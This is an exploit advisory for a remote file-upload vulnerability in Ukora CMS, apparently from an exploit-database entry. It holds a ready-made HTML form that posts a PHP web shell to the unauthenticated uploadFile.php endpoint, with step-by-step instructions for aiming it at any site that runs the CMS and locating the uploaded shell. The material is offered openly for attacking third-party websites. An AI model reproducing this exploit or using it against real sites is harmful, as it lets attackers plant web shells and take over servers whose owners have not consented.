Ukora CMS Shell Upload

`##################################################################################################  
#Exploit Title : Ukora CMS Shell Upload vulnerability  
#Author : Jagriti Sahu AKA incredible  
#Vendor : http://ukora.com  
#Download Link : https://github.com/baskuis/ukoracms  
#version affected : all  
#Date : 23/07/2014  
#Discovered at : IndiShell Lab  
#Love to : Surbhi, Mradula and Harry  
##################################################################################################  
  
////////////////////////  
/// Overview:  
////////////////////////  
  
  
Ukora CMS is affected from remote file upload vulnerability and   
attacker can upload php shell to website easily  
  
///////////////////////////////  
// Vulnerability Description:  
///////////////////////////////  
vulnerability is due to assets/upl/uploadFile.php file in which there   
is no check during file upload  
attacker need to forward file upload request to this file with PHP   
shell and file Extension  
  
  
///////////////////////  
/// exploit code ////  
///////////////////////  
  
<div align=center><br><br> --==[[ <font color=red>Discovered at   
IndiShell Lab</font> ]]==--<br>  
+===========================================+  
<br><br>  
<form   
action="http://www.website.com/assets/upl/uploadFile.php?folder=/uploads&fileext=php"   
method="post"  
enctype="multipart/form-data">  
<label for="file">Filename:</label>  
<input type="file" name="Filedata" > &nbsp  
<input type="submit" name="submit" value="own the target >:D<">  
</form>  
Replace website.com with website name which is using Ukora CMS  
save this code on you machine as exploit.html  
open exploit.html into webbrowser, brows your php shell and click   
submit button  
  
if your shell name is shell.php, your shell will be renamed like this  
shell-php.php  
  
shell will be uploaded in uploads directory  
http://www.website.com/uploads/shell-php.php  
`